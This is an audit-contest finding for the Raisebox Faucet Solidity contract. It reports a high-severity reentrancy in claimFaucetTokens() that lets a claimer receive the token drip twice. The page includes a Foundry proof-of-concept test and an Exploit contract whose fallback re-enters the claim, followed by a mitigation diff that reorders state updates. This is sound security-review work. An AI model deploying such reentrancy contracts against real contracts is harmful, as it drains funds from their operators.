Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of Following CEI Pattern Leads to Reentrancy for Double Faucet Token Claims

Root + Impact

Description

Normal Behavior

  • The function claimFaucetTokens() should follow the CEI (Checks-Effects-Interactions) pattern to defend against reentrancy. The lastClaimTime variable should be marked to block.timestamp before making any external calls.

Issue

  • The function claimFaucetTokens() makes an external call to transfer the sepEthAmountToDrip native ETH to the faucetClaimer before updating lastClaimTime to block.timestamp, allowing the caller to reenter the contract and claim faucetDrip twice.

// Effects
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;

Risk

Likelihood:

  • For every new faucetClaimer can claim faucetDrip twice.

Impact:

  • The vulnerability causes the faucet to cost nearly double for the protocol to maintain due to double unauthorized faucetDrip claims.

Proof of Concept

To test this, include the following code in the RaiseBoxFaucet.t.sol file:

function test_ReentrancyFor2xToken() public {
Exploit exploit = new Exploit(raiseBoxFaucetContractAddress);
exploit.claim2xTokens();
uint256 sepoliaEthReceivedByAttacker = address(exploit).balance;
uint256 tokenReceivedByAttacker = raiseBoxFaucet.balanceOf(address(exploit));
assertEq(sepoliaEthReceivedByAttacker, raiseBoxFaucet.sepEthAmountToDrip(), "Sepolia Eth hasn't transferred");
assertEq(tokenReceivedByAttacker,(raiseBoxFaucet.faucetDrip() * 2 ), "Token not received");
}
}
contract Exploit {
RaiseBoxFaucet raiseBoxFaucet;
constructor (address _raiseBoxFaucet) {
raiseBoxFaucet = RaiseBoxFaucet(payable(_raiseBoxFaucet));
}
function claim2xTokens() public {
raiseBoxFaucet.claimFaucetTokens();
}
fallback() external payable {
raiseBoxFaucet.claimFaucetTokens();
}
}

Recommended Mitigation

To defend against reentrancy, strictly follow the CEI pattern in the claimFaucetTokens() function

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // Effects
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
- // Effects
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.